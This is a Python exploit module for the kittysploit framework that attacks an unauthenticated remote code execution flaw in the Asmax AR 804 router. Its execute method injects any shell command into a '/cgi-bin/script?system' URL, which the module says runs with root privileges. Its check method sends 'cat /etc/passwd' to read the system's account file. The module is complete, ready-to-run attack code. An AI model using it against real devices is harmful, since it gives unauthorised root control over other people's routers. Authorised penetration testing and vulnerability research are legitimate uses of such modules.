Asmax AR 804 RCE

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Asmax AR 804 RCE"""


from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'Asmax AR 804 RCE',
        'description': 'Module exploits Asmax AR 804 Remote Code Execution vulnerability which allows executing command on operating system level with root privileges.',
        'author': ['Michal Sajdak', 'Marcin Bury'],
        
        'platform': Platform.LINUX,
        'payload': {'default': 'nopayload'},
        'references': ['http://www.securitum.pl/dh/asmax-ar-804-gu-compromise', 'https://www.exploit-db.com/exploits/8846/'],
        'tags': ['iot', 'router', 'rce', 'unauth'],
        'agent': {
            'risk': 'intrusive',
            'effects': ['active_exploitation'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals'],
            'cost': 1.5,
            'noise': 0.5,
            'value': 1.0,
        },
    }

    target = OptIP("", "Target IPv4 or IPv6 address")
    port = OptPort(80, "Target HTTP port")

    def execute(self, cmd):
        path = "/cgi-bin/script?system%20{}".format(cmd)

        response = self.http_request(
            method="GET",
            path=path,
        )
        if response is None:
            return ""

        return response.text
    def check(self):
        cmd = "cat /etc/passwd"
        path = "/cgi-bin/script?system%20{}".format(cmd)

        response = self.http_request(
            method="GET",
            path=path,
        )
        if response is None:
            return {"vulnerable": False, "reason": "Check failed", "confidence": "medium"}  # target is not vulnerable

        if response.status_code == 200 and ("/etc/passwd" in (response.text or '')):
            return {"vulnerable": True, "reason": "Check succeeded", "confidence": "medium"}  # target is vulnerable

        return {"vulnerable": False, "reason": "Check failed", "confidence": "medium"}  # target is not vulnerable

    def run(self):
        result = self.check()
        if isinstance(result, dict):
            if not result.get("vulnerable"):
                self.not_vulnerable()
                return False
        elif not result:
            self.not_vulnerable()
            return False
        print_success("Target appears vulnerable")
        return self.handler_execute()